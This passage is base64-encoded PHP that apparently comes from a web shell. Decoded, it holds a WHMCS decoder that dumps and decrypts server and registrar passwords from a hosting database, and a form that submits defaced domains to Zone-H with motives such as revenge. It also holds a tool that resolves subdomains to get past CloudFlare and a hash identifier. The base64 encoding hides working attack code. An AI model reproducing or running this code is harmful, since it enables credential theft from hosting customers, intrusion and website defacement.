3Rpb25fZXhpc3RzICgnc2hhMScpKQ0KICAgIHsNCiAgICAgICAgJGhhc2ggPSBzaGExICgkc3RyaW5nKTsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJGhhc2ggPSBtZDUgKCRzdHJpbmcpOw0KICAgIH0NCiAgICAkb3V0ID0gJyc7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQ0KICAgIHsNCiAgICAgICAgJG91dCAuPSBjaHIgKGhleGRlYyAoJGhhc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOw0KICAgICAgICAkYyArPSAyOw0KICAgIH0NCiAgICByZXR1cm4gJG91dDsNCn0NCg0KZWNobyAiDQo8YnI+PGNlbnRlcj48Zm9udCBzaXplPSc1JyBjb2xvcj0nI0ZGMDAwMCc+PGI+LS09PVsgV0hNQ1MgRGVjb2RlciBdPT0tLTwvYj48L2ZvbnQ+PC9jZW50ZXI+DQo8Y2VudGVyPg0KPGJyPg0KDQo8Rk9STSBhY3Rpb249JycgIG1ldGhvZD0ncG9zdCc+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmb3JtX2FjdGlvbicgdmFsdWU9JzInPg0KPGJyPg0KPHRhYmxlIGNsYXNzPXRhYm5ldCBzdHlsZT13aWR0aDozMjBweDtwYWRkaW5nOjAgMXB4Oz4NCjx0cj48dGggY29sc3Bhbj0yPldITUNTIERlY29kZXI8L3RoPjwvdHI+IA0KPHRyPjx0ZD5kYl9ob3N0IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0nY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOicgY2xhc3M9J2lucHV0eicgc2l6ZT0nMzgnIG5hbWU9J2RiX2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfdXNlcm5hbWUgPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSdjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nZGJfdXNlcm5hbWUnIHZhbHVlPScnPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J2NvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjonIGNsYXNzPSdpbnB1dHonIHNpemU9JzM4JyBuYW1lPSdkYl9wYXNzd29yZCcgdmFsdWU9Jyc+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSdjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nZGJfbmFtZScgdmFsdWU9Jyc+PC90ZD48L3RyPg0KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J2NvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjonIHR5cGU9J3RleHQnIGNsYXNzPSdpbnB1dHonIHNpemU9JzM4JyBuYW1lPSdjY19lbmNyeXB0aW9uX2hhc2gnIHZhbHVlPScnPjwvdGQ+PC90cj4NCjx0ZD4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8SU5QVVQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBzdHlsZT0nY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOicgIHZhbHVlPSdTdWJtaXQnIG5hbWU9J1N1Ym1pdCc+PC90ZD4NCjwvdGFibGU+DQo8L0ZPUk0+DQo8L2NlbnRlcj4NCiI7DQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQogJGRiX2hvc3Q9KCRfUE9TVFsnZGJfaG9zdCddKTsNCiAkZGJfdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYl9uYW1lPSgkX1BPU1RbJ2RiX25hbWUnXSk7DQogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7DQoNCg0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQogICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkFjdGl2ZTwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7DQplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGNsYXNzPXRhYm5ldCBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD5SZWdpc3RyYXI8L3RkPjx0ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCiRyZWdpc3RyYXIgICAgID0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQp9DQp9DQp9DQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZScpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9em9uZSIgbWV0aG9kPSJwb3N0Ij4NCg0KPGJyPjxicj48Y2VudGVyPg0KPCEtLSBab25lLUggLS0+DQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSdQT1NUJz48dGFibGU+PHRhYmxlIGNsYXNzPSd0YWJuZXQnPjx0cj4NCjx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojMDAwMDtwYWRkaW5nLWxlZnQ6MTBweDsnPjx0cj48dHI+PHRoIGNvbHNwYW49IjIiPjxoMj5ab25lLUg8L2gyPjwvdGg+PC90cj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz48Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9ImRlZmFjZXIiIHZhbHVlPSJOYW1hIERlZmFjZXIiIC8+DQo8c2VsZWN0IG5hbWU9ImhhY2ttb2RlIiBjbGFzcz0iaW5wdXR6IiA+DQo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1DaG9vc2UgQW55LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5Lbm93biBWdWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+VW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPkNvbmZpZ3VyYXRpb24gLyBBZG1pbi4gTWlzdGFrZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPkJydXRlIEZvcmNlIEF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPlNvY2lhbCBFbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBFeHRlcm5hbCBNb2R1bGUgSW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBJbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIE1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIEJ1Zzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgQWRtaW5pc3RyYXRpdmUgUGFuZWwgQWNjZXNzIEJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgQWRtaW5pc3RyYXRpdmUgUGFuZWwgQWNjZXNzIFBhc3N3b3JkIEd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBBZG1pbmlzdHJhdGl2ZSBQYW5lbCBBY2Nlc3MgU29jaWFsIEVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBBZ2FpbnN0IEFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBDcmVkZW50aWFscyBUaHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIEF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgU2VydmljZSBQYXNzd29yZCBHdWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgU2VydmljZSBQYXNzd29yZCBCcnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBBZnRlciBBdHRhY2tpbmcgVGhlIEZpcmV3YWxsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBBZnRlciBBdHRhY2tpbmcgVGhlIFJvdXRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgQXR0YWNrIFRocm91Z2ggU29jaWFsIEVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBBdHRhY2sgVGhyb3VnaCBDYWNoZSBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IEF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQoNCjxzZWxlY3QgbmFtZT0icmVhc29uIiBjbGFzcz0iaW5wdXR6IiA+DQo8b3B0aW9uID4tLS0tLS0tLS0tLS0tQ2hvb3NlIEFueS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiID5SZXZlbmdlIGFnYWluc3QgdGhhdCB3ZWJzaXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzIiA+UG9saXRpY2FsIHJlYXNvbnM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPkkganVzdCB3YW50IHRvIGJlIHRoZSBiZXN0IGRlZmFjZXI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiID5QYXRyaW90aXNtPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ6b25lIj4NCjxjZW50ZXI+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTsiIG5hbWU9ImRvbWFpbiIgY29scz0iMTE2IiByb3dzPSI5IiBpZD0iZG9tYWlucyI+TGlzdCBPZiBEb21haW5zPC90ZXh0YXJlYT4NCjxiciAvPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIE5vdyAhIiBuYW1lPSJTZW5kTm93VG9ab25lSCIgLz48YnI+PC9jZW50ZXI+PC90YWJsZT4NCjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+DQo8IS0tIEVuZCBPZiBab25lLUggLS0+DQo8L3RkPjwvY2VudGVyPjxicj48YnI+DQoNCjw/cGhwDQplY2hvICc8Y2VudGVyPic7DQoJb2Jfc3RhcnQoKTsNCgkkc3ViID0gZ2V0X2xvYWRlZF9leHRlbnNpb25zKCk7DQoJaWYoIWluX2FycmF5KCJjdXJsIiwgJHN1Yikpe2RpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTt9DQoJJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOw0KCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsNCgkkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107DQoJDQoJaWYgKGVtcHR5KCRoYWNrZXIpKXtkaWUgKCJbK10gWW91IE11c3QgRmlsbCBJbiBUaGUgQXR0YWNrZXIgTmFtZSFbK10iKTt9DQoJZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSB7ZGllKCJbK10gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QhWytdIik7fQ0KCWVsc2VpZigkbmVkZW4gPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSB7ZGllKCJbK10gWW91IE11c3QgU2VsZWN0IFRoZSBSZWFzb24hWytdIik7fQ0KCWVsc2VpZihlbXB0eSgkc2l0ZSkpIHtkaWUoIlsrXSBZb3UgTXVzdCBJbnRlciB0aGUgU2l0ZXMgTGlzdCFbK10gIik7fQ0KCSRpID0gMDsNCgkkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsNCgl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIA0KCXsNCgkJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgeyRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTt9DQoJCVpvbmVIKCJodHRwOi8vem9uZS1oLm9yZy9ub3RpZnkvc2luZ2xlIiwgJGhhY2tlciwgJG1ldGhvZCwgJG5lZGVuLCAkc2l0ZXNbJGldKTsNCgkJZWNobyAiU2l0ZSA6ICIuJHNpdGVzWyRpXS4iIERlZmFjZWQgIVxuIjsNCgkJKyskaTsNCgl9DQoJZWNobyAiWytdIFN1Y2Nlc3NmdWxseSBTdWJtaXR0ZWQgVG8gWm9uZS1IISEgWytdIjsNCg0KCWVjaG8gJzwvY2VudGVyPic7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdieXBhc3MtY2YnKSkNCnsJDQplY2hvICcNCjxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPjxicj4NCjxjZW50ZXI+PHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPjxiPjxmb250IHNpemU9IjUiIGZhY2U9IlRhaG9tYSI+LS09PVsgQnlwYXNzDQo8Zm9udCBjb2xvcj0iI0NDMDAwMCI+Q2xvdWRGbGFyZTwvZm9udD4gXT09LS08L2ZvbnQ+PC9iPjwvcD4NCjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgbmFtZT0ia3J6Ij4NCgk8b3B0aW9uPmZ0cDwvb3B0aW9uPg0KCQk8b3B0aW9uPmRpcmVjdC1jb25udGVjdDwvb3B0aW9uPg0KCQkJPG9wdGlvbj53ZWJtYWlsPC9vcHRpb24+DQoJCQkJPG9wdGlvbj5jcGFuZWw8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9InVybCI+DQo8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQnlwYXNzIj48L2NlbnRlcj4NCg0KJzsNCg0KJHRhcmdldCA9ICRfUE9TVFsndGFyZ2V0J107DQojIEJ5cGFzcyBGcm9tIEZUUA0KaWYoJF9QT1NUWydrcnonXSA9PSAiZnRwIikgew0KJGZ0cCA9IGdldGhvc3RieW5hbWUoImZ0cC4iLiIkdGFyZ2V0Iik7DQplY2hvICI8YnI+PHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyNGRjAwMDAnPkNvcnJlY3QgDQppcCBpcyA6IDwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRjY4QjFGJz4kZnRwPC9mb250PjwvcD4iOw0KfSANCiMgQnlwYXNzIEZyb20gRGlyZWN0LUNvbm5lY3QNCmlmKCRfUE9TVFsna3J6J10gPT0gImRpcmVjdC1jb25udGVjdCIpIHsNCiRkaXJlY3QgPSBnZXRob3N0YnluYW1lKCJkaXJlY3QtY29ubmVjdC4iLiIkdGFyZ2V0Iik7DQplY2hvICI8YnI+PHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyNGRjAwMDAnPkNvcnJlY3QgDQppcCBpcyA6IDwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRjY4QjFGJz4kZGlyZWN0PC9mb250PjwvcD4iOw0KfQ0KIyBCeXBhc3MgRnJvbSBXZWJtYWlsDQppZigkX1BPU1RbJ2tyeiddID09ICJ3ZWJtYWlsIikgew0KJHdlYiA9IGdldGhvc3RieW5hbWUoIndlYm1haWwuIi4iJHRhcmdldCIpOw0KZWNobyAiPGJyPjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRkYwMDAwJz5Db3JyZWN0IA0KaXAgaXMgOiA8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0Y2OEIxRic+JHdlYjwvZm9udD48L3A+IjsNCn0NCiMgQnlwYXNzIEZyb20gQ3BhbmVsDQppZigkX1BPU1RbJ2tyeiddID09ICJjcGFuZWwiKSB7DQokY3BhbmVsID0gZ2V0aG9zdGJ5bmFtZSgiY3BhbmVsLiIuIiR0YXJnZXQiKTsNCmVjaG8gIjxicj48cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0ZGMDAwMCc+Q29ycmVjdCANCmlwIGlzIDogPC9mb250Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyNGNjhCMUYnPiRjcGFuZWw8L2ZvbnQ+PC9wPiI7DQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnaGFzaGlkJykpIHsNCmlmKGlzc2V0KCRfUE9TVFsnZ2V0aGFzaCddKSl7DQoJCSRoYXNoID0gJF9QT1NUWydoYXNoJ107DQoJCWlmKHN0cmxlbigkaGFzaCk9PTMyKXsNCgkJCSRoYXNocmVzdWx0ID0gIk1ENSBIYXNoIjsNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT00MCl7DQoJCQkkaGFzaHJlc3VsdCA9ICJTSEEtMSBIYXNoLyAvTXlTUUw1IEhhc2giOw0KCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTEzKXsNCgkJCSRoYXNocmVzdWx0ID0gIkRFUyhVbml4KSBIYXNoIjsNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0xNil7DQoJCQkkaGFzaHJlc3VsdCA9ICJNeVNRTCBIYXNoIC8gL0RFUyhPcmFjbGUgSGFzaCkiOw0KCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTQxKXsNCgkJCSRHZXRIYXNoQ2hhciA9IHN1YnN0cigkaGFzaCwgNDApOw0KCQkJaWYoJEdldEhhc2hDaGFyID09ICIqIil7DQoJCQkJJGhhc2hyZXN1bHQgPSAiTXlTUUw1IEhhc2giOyANCgkJCX0JDQoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09NjQpew0KCQkJJGhhc2hyZXN1bHQgPSAiU0hBLTI1NiBIYXNoIjsNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT05Nil7DQoJCQkkaGFzaHJlc3VsdCA9ICJTSEEtMzg0IEhhc2giOw0KCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTEyOCl7DQoJCQkkaGFzaHJlc3VsdCA9ICJTSEEtNTEyIEhhc2giOw0KCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTM0KXsNCgkJCWlmKHN0cnN0cigkaGFzaCwgJyQxJCcpKXsNCgkJCQkkaGFzaHJlc3VsdCA9ICJNRDUoVW5peCkgSGFzaCI7DQoJCQl9IAkNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0zNyl7DQoJCQlpZihzdHJzdHIoJGhhc2gsICckYXByMSQnKSl7DQoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KEFQUikgSGFzaCI7DQoJCQl9IAkNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0zNCl7DQoJCQlpZihzdHJzdHIoJGhhc2gsICckSCQnKSl7DQoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KHBocEJCMykgSGFzaCI7DQoJCQl9IAkNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0zNCl7DQoJCQlpZihzdHJzdHIoJGhhc2gsICckUCQnKSl7DQoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KFdvcmRwcmVzcykgSGFzaCI7DQoJCQl9IAkNCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0zOSl7DQoJCQlpZihzdHJzdHIoJGhhc2gsICckNSQnKSl7DQoJCQkJJGhhc2hyZXN1bHQgPSAiU0hBLTI1NihVbml4KSBIYXNoIjsNCgkJCX0gCQ0KCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTM5KXsNCgkJCWlmKHN0cnN0cigkaGFzaCwgJyQ2JCcpKXsNCgkJCQkkaGFzaHJlc3VsdCA9ICJTSEEtNTEyKFVuaXgpIEhhc2giOw0KCQkJfSAJDQoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09MjQpew0KCQkJaWYoc3Ryc3RyKCRoYXNoLCAnPT0nKSl7DQoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KEJhc2UtNjQpIEhhc2giOw0KCQkJfSAJDQoJCX1lbHNlew0KCQkJJGhhc2hyZXN1bHQgPSAiSGFzaCB0eXBlIG5vdCBmb3VuZCI7DQoJCX0NCgl9ZWxzZXsNCgkJJGhhc2hyZXN1bHQgPSAiTm8gSGFzaCBFbnRlcmVkIjsNCgl9DQoJDQoJPz4NCgk8Y2VudGVyPjxicj48QnI+PGJyPg0KCQ0KCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCgkJPHRyPg0KCQk8dGFibGUgY2xhc3M9InRhYm5ldCI+DQoJCTx0aCBjb2xzcGFuPSI1Ij5IYXNoIElkZW50aWZpY2F0aW9uPC90aD4NCgkJPHRyIGNsYXNzPSJvcHRpb25zdHIiPjxCPjx0ZD5FbnRlciBIYXNoPC90ZD48L2I+PHRkPjo8L3RkPgk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhhc2giIHNpemU9JzYwJyBjbGFzcz0iaW5wdXR6IiAvPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9ImdldGhhc2giIHZhbHVlPSJJZGVudGlmeSBIYXNoIiAvPjwvdGQ+PC90cj4NCgkJPHRyIGNsYXNzPSJvcHRpb25zdHIiPjxiPjx0ZD5SZXN1bHQ8L3RkPjx0ZD46PC90ZD48dGQ+PD9waHAgZWNobyAkaGFzaHJlc3VsdDsgPz48L3RkPjwvdHI+PC9iPg0KCTwvdGFibGU+PC90cj48L2Zvcm0+DQoJPC9jZW50ZXI+DQoJDQoJPD9waHANCiB9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8